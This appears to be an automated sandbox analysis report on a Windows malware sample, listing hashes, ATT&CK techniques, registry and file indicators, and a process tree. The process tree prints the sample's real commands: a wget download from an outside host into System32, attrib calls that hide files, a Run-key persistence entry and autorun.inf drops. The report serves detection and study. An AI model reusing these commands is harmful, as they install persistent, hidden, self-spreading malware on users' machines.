322762fd7175470ba0cccf1d8c1592dedbd41b33a9eaf8135bbdb8e25747e26f

Analysis

max time kernel
149s
max time network
141s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
02/10/2026, 09:25

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
jaffacakes118_322762fd7175470ba0cccf1d8c1592dedbd41b33a9eaf8135bbdb8e25747e26f.exe
Size 393KB
Sample261002-ld38bashma
SHA256 322762fd7175470ba0cccf1d8c1592dedbd41b33a9eaf8135bbdb8e25747e26f
MD5 1864494418f3adec6df3e943f539d1e1
SHA1 6b3c49fe9e745f5928d4a3a692a3e785aa674aa7
SHA512 46159c03c484c0ec476d8d750f65c42a4f17ee3f39d783af8863b9eb104bf7f13b485dd5d027abeb3a4417af492c794fc73154c94921e0c77557037e848801a2
SSDEEP 12288:uEk66XBH1H7V5WOvNjFd1rFdEsgASR7WoleOJz/P8M:uEk6eLfFNjFDrFdEsgASRvleOJD
TLSH
T19F84120B391CE840D946CF38570AE8E7E709DE4AC1B5D795BF9C79A23AFD960AE30045
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

adware defense_evasion discovery execution persistence spyware upx

Malware Config

Signatures

Sets file to hidden 1 TTPs 6 IoCs

Modifies file attributes to stop it showing in Explorer etc.

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4880	attrib.exe
2720	attrib.exe
2880	attrib.exe
3452	attrib.exe
2548	attrib.exe
4804	attrib.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Control Panel\International\Geo\Nation	jaffacakes118_322762fd7175470ba0cccf1d8c1592dedbd41b33a9eaf8135bbdb8e25747e26f.exe
Key value queried	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Control Panel\International\Geo\Nation	b2e.exe
Key value queried	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Control Panel\International\Geo\Nation	cmd.exe

Executes dropped EXE 2 IoCs

pid	Process
4868	b2e.exe
4668	wget.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Gallery = "thG.exe"	reg.exe

Drops autorun.inf file 1 TTPs 5 IoCs

Malware can abuse Windows Autorun to spread further via attached volumes.

Replication Through Removable Media

T1091

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Local\Temp\autorun.inf	cmd.exe
File created	C:\Windows\autorun.inf	cmd.exe
File opened for modification	C:\Windows\autorun.inf	cmd.exe
File opened for modification	C:\Users\Admin\AppData\Local\Temp\autorun.inf	attrib.exe
File opened for modification	C:\Windows\autorun.inf	attrib.exe

Drops file in System32 directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\wthG.vbs	cmd.exe
File created	C:\Windows\SysWOW64\sys.wglog	wget.exe
File created	C:\Windows\SysWOW64\sys.result	wget.exe
File created	C:\Windows\SysWOW64\orx.hiv	reg.exe
File created	C:\Windows\SysWOW64\dontexecute.dll	cmd.exe
File created	C:\Windows\SysWOW64\wthG.vbs	cmd.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
4180	WScript.exe

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/4668-33-0x0000000000400000-0x00000000004C6000-memory.dmp	upx
behavioral1/files/0x0007000000024321-32.dat	upx
behavioral1/memory/4668-37-0x0000000000400000-0x00000000004C6000-memory.dmp	upx

Drops file in Windows directory 3 IoCs

description	ioc	Process
File created	C:\Windows\autorun.inf	cmd.exe
File opened for modification	C:\Windows\autorun.inf	cmd.exe
File opened for modification	C:\Windows\autorun.inf	attrib.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1808	cmd.exe
1844	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	wget.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	wget.exe

System Location Discovery: System Language Discovery 1 TTPs 19 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wget.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	b2e.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jaffacakes118_322762fd7175470ba0cccf1d8c1592dedbd41b33a9eaf8135bbdb8e25747e26f.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	choice.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe

Modifies Internet Explorer settings 1 TTPs 4 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Software\Microsoft\Internet Explorer\Toolbar	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\Locked = "1"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\ShellBrowser	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\ShellBrowser\ITBar7Layout = 13000000000000000000000020000000100000000000000001000000010700005e01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	explorer.exe

Modifies registry class 35 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\0\0\0 = 4e00310000000000425d404b100054656d7000003a0009000400efbe2b5dc478425d404b2e0000007fe1010000000100000000000000000000000000000099cb3a00540065006d007000000014000000	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\0\0	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\0\0\0\NodeSlot = "1"	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\0\MRUListEx = 00000000ffffffff	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\0\0\0\MRUListEx = ffffffff	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\SniffedFolderType = "Generic"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000_Classes\Local Settings	cmd.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0 = 50003100000000002b5d7b81100041646d696e003c0009000400efbe2b5dc478425d404b2e00000060e101000000010000000000000000000000000000003f1a2301410064006d0069006e00000014000000	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 00000000ffffffff	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\MRUListEx = 00000000ffffffff	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\0\0\0	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0 = 19002f433a5c000000000000000000000000000000000000000000	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\MRUListEx = 00000000ffffffff	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\0	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000_Classes\Local Settings	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0 = 14001f50e04fd020ea3a6910a2d808002b30309d0000	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0 = 78003100000000002b5dc4781100557365727300640009000400efbe874f7748425d404b2e000000c70500000000010000000000000000003a0000000000388c5e0055007300650072007300000040007300680065006c006c00330032002e0064006c006c002c002d0032003100380031003300000014000000	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\0 = 56003100000000002b5dc47812004170704461746100400009000400efbe2b5dc478425d404b2e0000006be10100000001000000000000000000000000000000167a4b004100700070004400610074006100000016000000	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\0\0\MRUListEx = 00000000ffffffff	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\MRUListEx = 00000000ffffffff	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\0\0 = 50003100000000002b5dcf7b10004c6f63616c003c0009000400efbe2b5dc478425d404b2e0000007ee10100000001000000000000000000000000000000eb8d8d004c006f00630061006c00000014000000	explorer.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
4388	explorer.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4668	wget.exe
4668	wget.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
4388	explorer.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeBackupPrivilege	4864	reg.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
4388	explorer.exe
4388	explorer.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 2656 wrote to memory of 4868	2656	jaffacakes118_322762fd7175470ba0cccf1d8c1592dedbd41b33a9eaf8135bbdb8e25747e26f.exe	87
PID 4868 wrote to memory of 1808	4868	b2e.exe	88
PID 1808 wrote to memory of 4616	1808	cmd.exe	92
PID 1808 wrote to memory of 1920	1808	cmd.exe	93
PID 1808 wrote to memory of 4880	1808	cmd.exe	94
PID 1808 wrote to memory of 2720	1808	cmd.exe	95
PID 1808 wrote to memory of 2880	1808	cmd.exe	96
PID 1808 wrote to memory of 3452	1808	cmd.exe	97
PID 1808 wrote to memory of 2548	1808	cmd.exe	98
PID 1808 wrote to memory of 4804	1808	cmd.exe	99
PID 1808 wrote to memory of 4452	1808	cmd.exe	100
PID 1808 wrote to memory of 4668	1808	cmd.exe	101
PID 1808 wrote to memory of 4864	1808	cmd.exe	109
PID 1808 wrote to memory of 1516	1808	cmd.exe	110
PID 1808 wrote to memory of 4284	1808	cmd.exe	111
PID 1808 wrote to memory of 4180	1808	cmd.exe	113
PID 1808 wrote to memory of 396	1808	cmd.exe	114
PID 4868 wrote to memory of 1844	4868	b2e.exe	129

Views/modifies file attributes 1 TTPs 8 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4880	attrib.exe
2720	attrib.exe
2880	attrib.exe
3452	attrib.exe
2548	attrib.exe
4804	attrib.exe
4616	attrib.exe
1920	attrib.exe

C:\Users\Admin\AppData\Local\Temp\jaffacakes118_322762fd7175470ba0cccf1d8c1592dedbd41b33a9eaf8135bbdb8e25747e26f.exe
"C:\Users\Admin\AppData\Local\Temp\jaffacakes118_322762fd7175470ba0cccf1d8c1592dedbd41b33a9eaf8135bbdb8e25747e26f.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2656
- C:\Users\Admin\AppData\Local\Temp\B85E.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\B85E.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\B85E.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\jaffacakes118_322762fd7175470ba0cccf1d8c1592dedbd41b33a9eaf8135bbdb8e25747e26f.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4868
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\BA81.tmp\batfile.bat" "
    3⤵
    - Checks computer location settings
    - Drops autorun.inf file
    - Drops file in System32 directory
    - Drops file in Windows directory
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    - Suspicious use of WriteProcessMemory
    PID:1808
  - - C:\Windows\SysWOW64\attrib.exe
      attrib -s -a -h -r thG.exe
      4⤵
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:4616
  - - C:\Windows\SysWOW64\attrib.exe
      attrib -s -a -h -r C:\Windows\thG.exe
      4⤵
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:1920
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +a +h +r thG.exe
      4⤵
      Sets file to hidden
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:4880
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +a +h +r C:\Windows\thG.exe
      4⤵
      Sets file to hidden
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:2720
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +a +h +r autorun.*
      4⤵
      Sets file to hidden
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:2880
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +a +h +r C:\Windows\autorun.*
      4⤵
      Sets file to hidden
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:3452
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +a +h +r autorun.inf
      4⤵
      Sets file to hidden
      Drops autorun.inf file
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:2548
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +a +h +r C:\Windows\autorun.inf
      4⤵
      Sets file to hidden
      Drops autorun.inf file
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:4804
  - - C:\Windows\SysWOW64\explorer.exe
      explorer .\
      4⤵
      System Location Discovery: System Language Discovery
      PID:4452
  - - C:\Users\Admin\AppData\Local\Temp\wget.exe
      wget "http://virae.org/trojanhorsegallery/getnew.php" -o C:\Windows\system32\sys.wglog -O C:\Windows\system32\sys.result
      4⤵
      Executes dropped EXE
      Drops file in System32 directory
      Reads the TCP/IP host and domain name from the registry
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:4668
  - - C:\Windows\SysWOW64\reg.exe
      REG.EXE SAVE "HKCU\Control Panel\Desktop" C:\Windows\System32\orx.hiv /y
      4⤵
      Drops file in System32 directory
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4864
  - - C:\Windows\SysWOW64\reg.exe
      REG.EXE SAVE "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" C:\Windows\System32\ory.hiv /y
      4⤵
      System Location Discovery: System Language Discovery
      PID:1516
  - - C:\Windows\SysWOW64\reg.exe
      REG.EXE add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v Gallery /d "thG.exe" /f
      4⤵
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      PID:4284
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Windows\System32\wthG.vbs"
      4⤵
      Executes a VBScript file via the Windows Script Host.
      System Location Discovery: System Language Discovery
      PID:4180
  - - C:\Windows\SysWOW64\choice.exe
      CHOICE /C AB /N /D A /T 120
      4⤵
      System Location Discovery: System Language Discovery
      PID:396
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\selfdel0.bat" "
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:1844

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:4388

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4700

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Replication Through Removable Media

T1091

Execution

Command and Scripting Interpreter

T1059

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Lateral Movement

Replication Through Removable Media

T1091

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

b2e.exe

Path C:\Users\Admin\AppData\Local\Temp\B85E.tmp\b2e.exe
Size 338KB
SHA256 eec2fc6149559bd2ec380ae2cef6a40d595fbb26b152d7f003bfbab1f185fef5
MD5 950c07271e2a460108056f1605d56304
SHA1 41c4df6a3d84a0aad6f47b7f5138b787995ff3a4
SHA512 65b7a0a323dd895f6775bfbcb108e81d2f68d2ab0e660a3eb013182e977f91092c6f27c1beb6fd76d1fce2c97b438e22682c12ec360de3d8d9314f8607350837
SSDEEP 6144:1ElGApOhqa8YByVwX1XhIMAg7g85WOvNVFFdQwH+Y6il2COBEZHgASR7WoleOfRW:1Ek66XBH1H7V5WOvNjFd1rFdEsgASR7K
TLSH
T1F474120B392CE841D947DE39570EE8EAE709D24BC2A5D795BF9C49B236FC960AE30045
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

batfile.bat

Path C:\Users\Admin\AppData\Local\Temp\BA81.tmp\batfile.bat
Size 5KB
SHA256 1e6300eb1a22698920a0ec0661081841796db5ddb7d6c220cd808ad4a3d3b089
MD5 38f187ba7bf5ae8779013e09dc16b2ca
SHA1 d14e070ecd8a4c0c495e32befa732ea4f6a25dc7
SHA512 682c0645d6988cab6183dd69fbd06f7fb79306529bffcff07de9ca54e089434a5f5d82ee3b4c0095369f17c79ac218e2cd936f6fee0105c0460916ef80ed7fc2
SSDEEP 96:bzUx603ZKL/2MlpmRNKonhNSVPsDpoRWx1qLAhE7D:bgxtKhpmasMVkDpow1lMD
TLSH
T18EB1122AA64CC0B16BD09629C90E789BB317F5CDD134C7D8A49120E1B4CCBD95F2ABF5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dgs.vbs

Path C:\Users\Admin\AppData\Local\Temp\dgs.vbs
Size 338B
SHA256 84cdbc878a8d09247e932fd9964c80f80d93bfb8a85832bae405a28f04f08d53
MD5 02d1472f91cf901cba3b17cd9a179a14
SHA1 faac45656baa198ea0d3c02b2c8d627141863173
SHA512 cc80d9beec7c9824e8eed5c92e502e28b246e6816831746712293eb6ac88488980838ad2228bc4c14323f1d229291c9428b14aff50db42a88cf27efa3da578d1
TLSH
T1E6E02D027FCEC418C829E29839A22C5FCFA8B0003303EE000A00F081B1200374F381B3
MD5 SHA1 SHA512 TLSH

Submit Download

selfdel0.bat

Path C:\Users\Admin\AppData\Local\Temp\selfdel0.bat
Size 158B
SHA256 a5cad2f1a687ffdd6de52438bb2202258540f8e37d9d95e8d5f99a8377d2e8ab
MD5 28c3544640e7993a6bc1de03a2ed5ddb
SHA1 a7d6ea7645cbd5f4f9208ae84b50920cbca67d34
SHA512 bbcc8ee499f4fa2f3bdea83769979849b5228bc3cc33ab0c6c11ba68687c5dec224138d1bc32ed49ae70996eaf048ea88ada5f94ff6d4ac993f42c551753810e
TLSH
T14FC002008ACBDB5E240490A74AB5EA4D90B60D083F8A2B208765C90C154280EBA82602
MD5 SHA1 SHA512 TLSH

Submit Download

wget.exe

Path C:\Users\Admin\AppData\Local\Temp\wget.exe
Size 325KB
SHA256 248e84e994a3aa6c8a1ae4a71a701e862900cc8491243bd4497502cc3b2c74f7
MD5 dbe287eb8d58e6322e9fb67110ed7122
SHA1 1cd5550de3a857540cbe79fda1c7186dd7721802
SHA512 c8bfcb87e72c301cad94bf91eb567ead6d12c06fa016b234dd424f40865333e82ce9f8655bd52c7df6a8b46f2e55eb8ec81619c5a9ac633f51e6124600e5f1c5
SSDEEP 6144:uElGApOhqa8YByVwX1XhIMAg7g85WOvNVFFdQwH+Y6il2COBEZHgASR7WoleOfRD:uEk66XBH1H7V5WOvNjFd1rFdEsgASR7H
TLSH
T1B1642205292CF845DD1BDF3A634AE8E6A70CC617C5E2A7A1AE994EB675FDC10BF30041
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

autorun.inf

Path C:\Windows\autorun.inf
Size 104B
SHA256 452477214de18bedd6b02d9e2d490f3264a93327b5e1b7adc3a43547bac3c6c7
MD5 2d67b1dcc96266d559b225d8d4a8a3e2
SHA1 54a5df98aa8f16dff9812f5243fd160c95d73f45
SHA512 9e6560e8668ff1d31ea1332687519ad344d855624484528d5b59cf55d4f49bff5d54275d163101d03a752067b16f5977513cb908b49de6fd19e432813249cbce
TLSH
T1C9B01204B41A316D832B581AB106155F931FB00A4770403463C8D0676C7769D0F524F5
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2656-11-0x0000000000400000-0x0000000000466000-memory.dmp

Download

memory/2656-0-0x0000000000400000-0x0000000000466000-memory.dmp

Download

memory/4668-33-0x0000000000400000-0x00000000004C6000-memory.dmp

Download

memory/4668-37-0x0000000000400000-0x00000000004C6000-memory.dmp

Download

memory/4868-62-0x0000000000400000-0x0000000000405000-memory.dmp

Download

memory/4868-68-0x0000000000400000-0x0000000000405000-memory.dmp

Download

memory/4868-8-0x0000000000400000-0x0000000000405000-memory.dmp

Download